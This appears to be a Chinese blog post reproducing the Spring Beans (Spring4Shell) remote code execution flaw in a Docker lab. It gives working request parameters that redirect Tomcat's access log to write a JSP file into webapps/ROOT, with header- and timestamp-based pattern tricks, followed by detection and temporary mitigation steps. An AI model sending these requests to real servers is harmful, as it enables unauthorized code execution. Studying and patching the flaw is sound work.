返回
Featured image of post Spring Beans RCE 复现

Spring Beans RCE 复现

go!

Spring Beans RCE 复现

影响范围

  • JDK >= 9
  • 使用了 Spring 框架及其衍生框架spring-beans-*.jar文件或存在CachedIntrospectionResults.class

漏洞介绍

Spring MVC 框架的参数绑定功能支持将请求中的参数绑定到控制器方法中参数对象的成员变量,本质上就是参数绑定引发的变量覆盖漏洞。公开的利用链是通过求获取 AccessLogValve 对象并注入恶意字段值,从而触发 pipeline 机制实现任意路径下写文件。

漏洞复现

环境

docker 镜像:

docker pull vulfocus/spring-core-rce-2022-03-29:latest
docker run -d -p 8080:8080 --name spring-core-rce vulfocus/spring-core-rce-2022-03-29

原理及利用

本质就是变量覆盖修改 tomcat 的 log 配置,实现在webapp/path下写入 jsp,实现命令执行。

  • 发送请求修改tomcat 日志文件名 和 路径
# 设置文件后缀为 .jsp
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

# 设置文件前缀为 shell
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

# 设置日志文件的路径为 webapps/path,只有该文件下的 jsp 文件会被解析
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
  • 发送请求设置 log 的patternfileDateFormat,其中 pattern 具有固定格式,根据官方定义,pattern 的值可以是commoncombined
# common 的定义

%a - Remote IP address. See also %{xxx}a below.
%A - Local IP address
%b - Bytes sent, excluding HTTP headers, or '-' if zero
%B - Bytes sent, excluding HTTP headers
%h - Remote host name (or IP address if enableLookups for the connector is false)
%H - Request protocol
%l - Remote logical username from identd (always returns '-')
%m - Request method (GET, POST, etc.)
%p - Local port on which this request was received. See also %{xxx}p below.
%q - Query string (prepended with a '?' if it exists)
%r - First line of the request (method and request URI)
%s - HTTP status code of the response
%S - User session ID
%t - Date and time, in Common Log Format
%u - Remote user that was authenticated (if any), else '-' (escaped if required)
%U - Requested URL path
%v - Local server name
%D - Time taken to process the request in millis. Note: In httpd %D is microseconds. Behaviour will be aligned to httpd in Tomcat 10 onwards.
%T - Time taken to process the request, in seconds. Note: This value has millisecond resolution whereas in httpd it has second resolution. Behaviour will be align to httpd in Tomcat 10 onwards.
%F - Time taken to commit the response, in milliseconds
%I - Current request thread name (can compare later with stacktraces)
# combined 定义

%{xxx}a write remote address (client) (xxx==remote) or connection peer address (xxx=peer)

%{xxx}i write value of incoming header with name xxx (escaped if required)

%{xxx}o write value of outgoing header with name xxx (escaped if required)

%{xxx}c write value of cookie with name xxx (escaped if required)

%{xxx}r write value of ServletRequest attribute with name xxx (escaped if required)

%{xxx}s write value of HttpSession attribute with name xxx (escaped if required)

%{xxx}p write local (server) port (xxx==local) or remote (client) port (xxx=remote)

%{xxx}t write timestamp at the end of the request formatted using the enhanced SimpleDateFormat pattern xxx

本来是可以直接在 pattern中直接写入 payload,例如:

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=666
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25out.println(123);%25%3E

结果出现错误,主要是因为写入的字符中包含%字符,该字符在日志配置中有特殊作用,因此报错如下:

所以尝试用combined中的一些定义尝试写入 webshell,避免%的直接写入:

# 法一:根据定义使用 `%{xxx}i` 从 HTTP Header 去读取值并写入

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=666

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bcmd%7Di HTTP/1.1
Host: IP:PORT
cmd: <%out.println(123);%>

法一存在缺陷,无法直接写入",存在转义:

可以直接在 pattern 里写",然后依靠%{xxx}i 从头中读取%字符,或者使用下述法二。

# 法二:根据定义使用 `%{xxx}t` 直接写入以 simpleDateFormat 格式定义的 timestamp,这个 timestamp 是可以包含 `%` 和 `"` 字符

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=888

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%3C%25%7B%25%7Dtout.println(%22mytest%22);%25%7B%25%7Dt%3E HTTP/1.1
Host: IP:PORT

排查与修复

  • 排查

    • jdk 版本
    • 不论是 war 包还是 jar 包,解压后排查spring-beans-*.jar格式的文件、排查CachedIntrospectionResuLts.class文件
  • 临时修复

    • 依靠 WAF 规则中对参数中所有出现的 class.*Class.**.class.**.Class.* 字符串过滤

    • 在应用中全局搜索@InitBinder注解,看看方法体内是否调用dataBinder.setDisallowedFields方法,如果发现此代码片段的引入,则在原来的黑名单中,添加{"class.","Class.",".class.", ".Class."}

      如果此代码片段使用较多,需要每个地方都追加

Licensed under CC BY-NC-SA 4.0
Built with Hugo
Theme Stack designed by Jimmy